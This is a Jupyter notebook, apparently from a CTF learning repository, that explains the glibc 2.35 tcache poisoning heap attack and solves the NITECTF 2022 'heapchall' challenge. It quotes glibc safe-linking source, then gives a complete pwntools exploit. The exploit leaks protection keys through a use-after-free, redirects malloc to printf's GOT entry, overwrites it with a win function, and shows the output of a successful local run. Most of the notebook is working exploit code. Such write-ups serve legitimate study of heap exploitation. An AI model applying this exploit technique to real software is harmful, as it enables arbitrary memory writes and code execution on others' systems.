Skip to content

Latest commit

 

History

History

tcache-poisoning

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
{
 "cells": [
  {
   "cell_type": "markdown",
   "id": "43ffc1f4-7be9-4dec-823b-41296d1dcf01",
   "metadata": {},
   "source": [
    "# Tcache Poisoning Attack\n",
    "\n",
    "The tcache poisoning attack allows us to trick malloc into returning a pointer to an arbitrary location (e.g., stack, GOT table).\n",
    "\n",
    "This attack is similar to fastbin corruption attack.\n",
    "\n",
    "Reference: https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c\n",
    "\n",
    "```c\n",
    "/* Caller must ensure that we know tc_idx is valid and there's room\n",
    "   for more chunks.  */\n",
    "static __always_inline void\n",
    "tcache_put (mchunkptr chunk, size_t tc_idx) // TCACHE_MAX_BINS (=64),  size <= 1024\n",
    "{\n",
    "  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);\n",
    "\n",
    "  /* Mark this chunk as \"in the tcache\" so the test in _int_free will\n",
    "     detect a double free.  */\n",
    "  e->key = tcache_key;\n",
    "\n",
    "  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);\n",
    "  tcache->entries[tc_idx] = e;\n",
    "  ++(tcache->counts[tc_idx]);     // At most TCACHE_FILL_COUNT (=7)\n",
    "}\n",
    "\n",
    "/* Convert a chunk address to a user mem pointer without correcting\n",
    "   the tag.  */\n",
    "#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))\n",
    "\n",
    "/* Safe-Linking:\n",
    "   Use randomness from ASLR (mmap_base) to protect single-linked lists\n",
    "   of Fast-Bins and TCache.  That is, mask the \"next\" pointers of the\n",
    "   lists' chunks, and also perform allocation alignment checks on them.\n",
    "   This mechanism reduces the risk of pointer hijacking, as was done with\n",
    "   Safe-Unlinking in the double-linked lists of Small-Bins.\n",
    "   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with\n",
    "   larger pages provide less entropy, although the pointer mangling\n",
    "   still works.  */\n",
    "#define PROTECT_PTR(pos, ptr) \\\n",
    "  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "id": "13e17b12-015c-4bd2-becc-f6dba3df3d6d",
   "metadata": {},
   "source": [
    "## Example: heapchall\n",
    "\n",
    "Source: NITECTF 2022\n",
    "\n",
    "Actions:\n",
    "\n",
    "- `slot[a] = malloc(b)`, \n",
    "- `scanf(\"%s\", slot[a])`\n",
    "- `free slot[a]`. This action forgets to set `slot[a]` to NULL\n",
    "- `puts( slot[a] )`"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "id": "290cc32c-68fe-416b-a223-591997c4e3e7",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[*] '/ctf/work/tcache-poisoning/heapchall'\n",
      "    Arch:     amd64-64-little\n",
      "    RELRO:    Partial RELRO\n",
      "    Stack:    Canary found\n",
      "    NX:       NX enabled\n",
      "    PIE:      No PIE (0x400000)\n",
      "[*] '/ctf/work/tcache-poisoning/libc.so.6'\n",
      "    Arch:     amd64-64-little\n",
      "    RELRO:    Partial RELRO\n",
      "    Stack:    Canary found\n",
      "    NX:       NX enabled\n",
      "    PIE:      PIE enabled\n"
     ]
    }
   ],
   "source": [
    "from pwn import *\n",
    "from pwnlib import gdb\n",
    "\n",
    "bin_filename = './heapchall'\n",
    "elf = ELF(bin_filename)\n",
    "\n",
    "context.terminal = ['tmux', 'new-window']\n",
    "context.arch = elf.arch\n",
    "\n",
    "libc_filename = './libc.so.6'\n",
    "libc = ELF(libc_filename)\n",
    "\n",
    "ld_filename = 'ld-linux-x86-64.so.2'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "id": "e700d42b-cb5d-4e5a-a002-3fd28323cdd4",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[*] '/ctf/work/tcache-poisoning/heapchall.patch'\n",
      "    Arch:     amd64-64-little\n",
      "    RELRO:    Partial RELRO\n",
      "    Stack:    Canary found\n",
      "    NX:       NX enabled\n",
      "    PIE:      No PIE (0x3ff000)\n",
      "    RUNPATH:  b'.'\n"
     ]
    }
   ],
   "source": [
    "!cp {bin_filename} {bin_filename}.patch\n",
    "bin_filename = bin_filename + '.patch'\n",
    "!patchelf --set-interpreter {ld_filename} {bin_filename}\n",
    "!patchelf --set-rpath '.' {bin_filename}\n",
    "elf = ELF(bin_filename)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "id": "18f485f2-0142-4b2a-bb52-b4de749854cd",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "GNU C Library (GNU libc) stable release version 2.35.\n"
     ]
    }
   ],
   "source": [
    "!strings libc.so.6 | grep 'GNU C Library'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "id": "7e58d157-15be-47a9-869b-fe3ba2dd8ce1",
   "metadata": {},
   "outputs": [],
   "source": [
    "def allocate(io: tube, slot: int, sz: int):\n",
    "    io.recvuntil(b'Option:')\n",
    "    io.sendline(b'1')\n",
    "    io.recvuntil(b'Slot:')\n",
    "    io.sendline(b'%d' % slot)\n",
    "    io.recvuntil(b'Size:')\n",
    "    io.sendline(b'%d' % sz)\n",
    "\n",
    "def edit(io, slot, content):\n",
    "    io.recvuntil(b'Option:')\n",
    "    io.sendline(b'2')\n",
    "    io.recvuntil(b'Slot:')\n",
    "    io.sendline(b'%d' % slot)\n",
    "    io.recvuntil(b'content:')\n",
    "    io.sendline(content)\n",
    "\n",
    "def free(io, slot):\n",
    "    io.recvuntil(b'Option:')\n",
    "    io.sendline(b'3') \n",
    "    io.recvuntil(b'Slot: ')\n",
    "    io.sendline(b'%d' % slot)\n",
    "\n",
    "def view(io: tube, slot):\n",
    "    io.recvuntil(b'Option:')\n",
    "    io.sendline(b'4')\n",
    "    io.recvuntil(b'Slot: ')\n",
    "    io.sendline(b'%d' % slot)\n",
    "    return io.recvline(keepends=False)\n",
    "\n",
    "def leak(io, slot):\n",
    "    leak = view(io, slot)\n",
    "    leak = u64(leak + b'\\x00'*(8-len(leak)))\n",
    "    return leak\n"
   ]
  },
  {
   "cell_type": "markdown",
   "id": "b97bceb8-fcae-4267-b8ea-8f4029d1e8cc",
   "metadata": {},
   "source": [
    "Print the tcache state (if we download the glibc with debug symbol):\n",
    "\n",
    "```\n",
    "pwndbg> tcache\n",
    "pwndbg> tcachebins\n",
    "pwndbg> bins\n",
    "pwndbg> heapinfo\n",
    "pwndbg> parseheap\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "id": "592450e9-bd94-4bea-a72a-2b1d31f24a8f",
   "metadata": {},
   "outputs": [],
   "source": [
    "def exploit(io: tube):\n",
    "    count = 7 + 2  # 7 for tcache, 2 for \n",
    "    sz = 0x100\n",
    "    for i in range(count):\n",
    "        # the size must <= 0x400 so that the chunk is fit in tcache\n",
    "        # the size must > 0x80 otherwise the chunk is allocated in fastbin\n",
    "        allocate(io, i, sz) \n",
    "    for i in range(count):\n",
    "        free(io, i)\n",
    "    addr = [leak(io, i) for i in range(count)]\n",
    "    print(','.join(map(hex, addr)))\n",
    "    \n",
    "    # addr[0] is the protection key\n",
    "    # addr[i] = key ^ true_addr[i]\n",
    "    # addr[1]^addr[0] = (key ^ true_addr[0]) ^ (key ^ NULL) = true_addr[0]\n",
    "    \n",
    "    key = addr[0]\n",
    "    overwrite_addr = elf.got['printf']\n",
    "    edit(io, 6, p64( key ^ overwrite_addr ))\n",
    "    \n",
    "    allocate(io, 0, sz)\n",
    "    allocate(io, 1, sz)  # overwrite_addr\n",
    "    edit(io, 1, p64(elf.sym['win']))"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "id": "523e86b5-2841-40d5-919f-546461a0c5aa",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[x] Starting local process './heapchall.patch'\n",
      "[+] Starting local process './heapchall.patch': pid 1514776\n",
      "hex(libc_base)='0x7f1b0ad66000'\n",
      "0xfae,0xfaed0e,0xfaec1e,0xfaeb6e,0xfaea7e,0xfae94e,0xfae85e,0xf58ce0,0x0\n",
      "[DEBUG] Sent 0xe bytes:\n",
      "    b'echo you win!\\n'\n",
      "[DEBUG] Sent 0x5 bytes:\n",
      "    b'exit\\n'\n",
      "[x] Receiving all data\n",
      "[x] Receiving all data: 1B\n",
      "[DEBUG] Received 0x28 bytes:\n",
      "    b'Winner winner, chicken dinner!\\n'\n",
      "    b'you win!\\n'\n",
      "[x] Receiving all data: 41B\n",
      "[+] Receiving all data: Done (41B)\n",
      "[*] Stopped process './heapchall.patch' (pid 1514776)\n",
      "b' Winner winner, chicken dinner!\\nyou win!\\n'\n"
     ]
    }
   ],
   "source": [
    "import os\n",
    "context.aslr = True\n",
    "io = process(bin_filename)\n",
    "libc_base = io.libs()[os.path.realpath(libc_filename)]\n",
    "print(f'{hex(libc_base)=}')\n",
    "# io = gdb.debug([bin_filename], gdbscript=f\"\"\"\n",
    "# c\n",
    "# \"\"\")\n",
    "try:\n",
    "    exploit(io)\n",
    "    with context.local(log_level='debug'):\n",
    "        io.sendline(b'echo you win!')\n",
    "        io.sendline(b'exit')\n",
    "        print(io.recvall(timeout=2))\n",
    "        io.kill()\n",
    "    io.poll(block=True)\n",
    "except Exception as e:\n",
    "    io.kill()\n",
    "    raise e"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "dc429a23-ee16-4945-b9ed-92e506d46457",
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.8.10"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}